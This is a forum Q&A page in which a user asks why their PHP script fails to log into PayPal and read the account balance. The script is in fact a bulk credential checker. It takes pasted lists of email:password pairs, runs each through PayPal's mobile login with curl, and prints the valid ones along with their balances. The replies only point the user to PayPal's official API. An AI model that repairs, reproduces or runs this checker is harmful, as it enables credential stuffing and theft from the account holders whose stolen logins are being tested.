Login to Paypal

Asked

Viewed 348 times

2

I’m trying to log into Paypal and get the amount of the account balance but without success.

My code:

<?php
include ("curl.php");
$fp=fopen("fpaypal","w");
fwrite($fp, "");
fclose($fp);
$curl = new curl;
if(isset($_POST['txt']))
{
        $logins=array_values(array_unique(explode("\n",stripslashes($_POST['txt']))));
        foreach($logins as $login)
        {
                flush();
                $fp=fopen("fpaypal","w");
                fwrite($fp, "");
                fclose($fp);
                list($email,$senha)=explode(":",$login);
                $email = trim(str_replace(Array("\n", "\r"), "",$email));
                $senha = trim(str_replace(Array("\n", "\r"), "",$senha));
                $curl->open("GET", "https://mobile.paypal.com/pt-br/cgi-bin/wapapp?cmd=_sm");
                $curl->cookie_file = 'fpaypal';
                $curl->exec();
                preg_match('/CONTEXT=(.+?)\&amp;SESSION=(.+?)\&amp;/i',$curl->responseText,$context);
                $curl->open("GET", "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=");
                $curl->cookie_file = 'fpaypal';
                $curl->exec();
                preg_match('/name="CONTEXT" value="(.+?)"/i',$curl->responseText, $CONTEXT);
                preg_match('/name="Entrar" action="(.+?)"/i',$curl->responseText,$ACT);
                $ACT=str_replace("amp;", "",$ACT[1]);
                preg_match('/dispatch=(.+?)\"/i',$curl->responseText,$dispatch);
                $curl->open("POST",  $ACT);
                $curl->referer = "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=";
                $curl->postData = "CONTEXT={$CONTEXT[1]}&login_email=".rawurlencode(utf8_encode($email))."&login_password=".rawurlencode(utf8_encode($senha))."&login.x=Entrar";
                $curl->cookie_file = 'fpaypal';
                $curl->exec();

                if(preg_match('/<\/h4>.+?([0-9.,]+)/i',$curl->responseText,$saldo)&&!preg_match('/method="post" name="Entrar"/i',$curl->responseText))
                {
                        flush();
                        echo "$email:$senha - <font color=green>VALIDO</font> - Possui saldo de $".$saldo[1]."<br/>";
                }
                else
                {
                        flush();
                        echo "$email - <font color=red>INVALIDO</font><br/>";
                }
                ob_flush();
                flush();
        }
}
else
{
        echo "<form method=POST>
        <center>
        Logins:Senha: <br/>
        <textarea name='txt' cols=53 rows=16>login:senha
login:senha</textarea><br>
        <input type=submit value=Testar!>
        </form></center>";
}
?>

3 answers

1

I never used the API of Paypal, and as I don’t have a Paypal account I don’t even know if the code works. I believe when you see this this example who uses this class will be able to develop your own code for authentication. Sorry I can’t help you the way I wanted to.

0

Why don’t you use the API of Paypal?

You have her documentation in Portuguese as well. I’m sure this way you’ll get the connection successfully.

0

Hello, I recommend that you use the Brazilian API, because depending on what exactly you intend to do with this flow, it may not work in Brazil, because some tools developed by Paypal, are not yet available in Brazil.

Maybe if you explain better, what kind of payment flow you’re trying to use, it’s easier to help you.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.